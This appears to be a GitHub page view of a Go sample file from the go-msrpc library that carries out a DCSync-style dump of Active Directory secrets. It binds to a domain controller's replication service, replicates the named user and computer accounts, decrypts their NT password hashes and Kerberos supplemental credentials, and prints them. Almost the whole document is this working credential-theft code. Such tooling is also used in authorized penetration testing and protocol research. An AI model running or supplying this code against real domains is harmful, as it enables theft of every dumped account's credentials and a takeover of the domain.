-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathdrsr_secrets_dump.go
236 lines (191 loc) · 5.72 KB
/
drsr_secrets_dump.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
//go:build exclude
// drsr is a sample for dumping the user credentials using directory service replication:
// example: go run drsr.go -names User1,Admin1,COMPUTER1$
package main
import (
"context"
"encoding/asn1"
"encoding/hex"
"encoding/json"
"flag"
"fmt"
"net"
"os"
"strings"
"github.com/oiweiwei/go-msrpc/midl/uuid"
"github.com/oiweiwei/go-msrpc/ndr"
"github.com/oiweiwei/go-msrpc/ssp"
"github.com/oiweiwei/go-msrpc/ssp/credential"
"github.com/oiweiwei/go-msrpc/ssp/gssapi"
"github.com/oiweiwei/go-msrpc/dcerpc"
"github.com/oiweiwei/go-msrpc/msrpc/ad"
"github.com/oiweiwei/go-msrpc/msrpc/drsr/drsuapi/v4"
"github.com/oiweiwei/go-msrpc/msrpc/dtyp"
"github.com/oiweiwei/go-msrpc/msrpc/epm/epm/v3"
"github.com/oiweiwei/go-msrpc/msrpc/samr/samr/v1"
"github.com/oiweiwei/go-msrpc/msrpc/erref/drsr"
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32"
)
var j = func(data any) string { b, _ := json.MarshalIndent(data, "", " "); return string(b) }
func init() {
// add credentials.
gssapi.AddCredential(credential.NewFromPassword(os.Getenv("USERNAME"), os.Getenv("PASSWORD")))
// add mechanism.
gssapi.AddMechanism(ssp.SPNEGO)
gssapi.AddMechanism(ssp.NTLM)
}
var (
names []string
debug bool
)
func init() {
var ns string
flag.StringVar(&ns, "names", "", "names to crack")
flag.BoolVar(&debug, "debug", false, "debug mode")
flag.Parse()
if ns != "" {
names = strings.Split(ns, ",")
}
}
func main() {
ctx := gssapi.NewSecurityContext(context.Background())
cc, err := dcerpc.Dial(ctx, "ncacn_ip_tcp:"+os.Getenv("SERVER"),
epm.EndpointMapper(ctx,
net.JoinHostPort(os.Getenv("SERVER"), "135"),
dcerpc.WithInsecure(),
))
if err != nil {
fmt.Fprintln(os.Stderr, err)
os.Exit(1)
}
defer cc.Close(ctx)
cli, err := drsuapi.NewDrsuapiClient(ctx, cc, dcerpc.WithSeal(), dcerpc.WithTargetName(os.Getenv("TARGET")))
if err != nil {
fmt.Fprintln(os.Stderr, err)
os.Exit(1)
}
clientCaps := drsuapi.ExtensionsInt{
Flags: drsuapi.ExtGetNCChangesRequestV8 | drsuapi.ExtStrongEncryption | drsuapi.ExtGetNCChangesReplyV6,
}
b, err := ndr.Marshal(&clientCaps, ndr.Opaque)
if err != nil {
fmt.Fprintln(os.Stderr, err)
os.Exit(1)
}
resp, err := cli.Bind(ctx, &drsuapi.BindRequest{
Client: &drsuapi.Extensions{Data: b},
})
if err != nil {
fmt.Fprintln(os.Stderr, err)
os.Exit(1)
}
// get the id using the provided name.
cracked, err := cli.CrackNames(ctx, &drsuapi.CrackNamesRequest{
Handle: resp.DRS,
InVersion: 1,
In: &drsuapi.MessageCrackNamesRequest{
Value: &drsuapi.MessageCrackNamesRequest_V1{
V1: &drsuapi.MessageCrackNamesRequestV1{
FormatOffered: uint32(drsuapi.DSNameFormatNT4AccountNameSANSDomainEx),
Names: names,
FormatDesired: uint32(drsuapi.DSNameFormatUniqueIDName),
},
},
},
})
if err != nil {
fmt.Fprintln(os.Stderr, "crack_names", err)
os.Exit(1)
}
items := cracked.Out.GetValue().(*drsuapi.MessageCrackNamesReplyV1).Result.Items
for i, name := range items {
if name.Status != 0 {
fmt.Fprintln(os.Stderr, "unable to crack name for user", names[i], ":", drsr.FromCode(int32(name.Status)))
continue
}
fmt.Fprintln(os.Stderr, "trying to get secret for user", names[i], "with guid", name.Name)
//get the replica for object guid.
nc, err := cli.GetNCChanges(ctx, &drsuapi.GetNCChangesRequest{
Handle: resp.DRS,
InVersion: 8,
In: &drsuapi.MessageGetNCChangesRequest{
Value: &drsuapi.MessageGetNCChangesRequest_V8{
V8: &drsuapi.MessageGetNCChangesRequestV8{
MaxObjectsCount: 1,
NC: &drsuapi.DSName{
GUID: dtyp.GUIDFromUUID(uuid.MustParse(name.Name)),
},
Flags: drsuapi.InitSync | drsuapi.GetAncestor | drsuapi.GetAllGroupMembership | drsuapi.WritableReplica,
ExtendedOperation: drsuapi.ExtendedOperationReplicationObject,
},
},
},
})
if err != nil {
fmt.Fprintln(os.Stderr, err)
os.Exit(1)
}
if debug {
fmt.Println(j(nc))
}
reply := nc.Out.GetValue().(*drsuapi.MessageGetNCChangesReplyV6)
prefixes := reply.PrefixTableSource.Build()
object := map[string]interface{}{}
for _, attr := range reply.Objects.EntityInfo.AttributeBlock.Attribute {
oid, err := prefixes.AttributeToOID(attr.AttributeType)
if err != nil {
fmt.Fprintln(os.Stderr, "unknown attr", attr.AttributeType)
os.Exit(1)
}
name, l := "", []interface{}{}
for i := range attr.AttributeValue.Values {
n, val, err := ad.ParseNameAndValue(oid, attr.AttributeValue.Values[i].Value, prefixes)
if err != nil {
fmt.Fprintln(os.Stderr, "parse name and value", err)
os.Exit(1)
}
if _, ok := val.(asn1.ObjectIdentifier); ok {
val = val.(asn1.ObjectIdentifier).String()
}
name, l = n, append(l, val)
}
if name != "" {
if len(l) > 1 {
object[name] = l
} else {
object[name] = l[0]
}
}
}
sid, _ := object["objectSid"].(*dtyp.SID)
rid := uint32(0)
if sid != nil {
rid = sid.SubAuthority[len(sid.SubAuthority)-1]
}
// decrypt the unicode password hash.
if b, _ := object["unicodePwd"].([]byte); len(b) != 0 {
pwd, err := drsuapi.DecryptHash(cli.Conn().Context(), rid, b)
if err != nil {
fmt.Fprintln(os.Stderr, err)
return
}
object["unicodePwd"] = hex.EncodeToString(pwd)
}
// decode the supplemental credentials (kerberos tickets).
if b, _ := object["supplementalCredentials"].([]byte); len(b) != 0 {
creds, err := drsuapi.DecryptData(cli.Conn().Context(), b)
if err != nil {
fmt.Fprintln(os.Stderr, err)
return
}
props := samr.UserProperties{}
if err := ndr.Unmarshal(creds, &props, ndr.Opaque); err != nil {
fmt.Fprintln(os.Stderr, err)
return
}
object["supplementalCredentials"] = props
}
// print.
fmt.Println(j(object))
}
}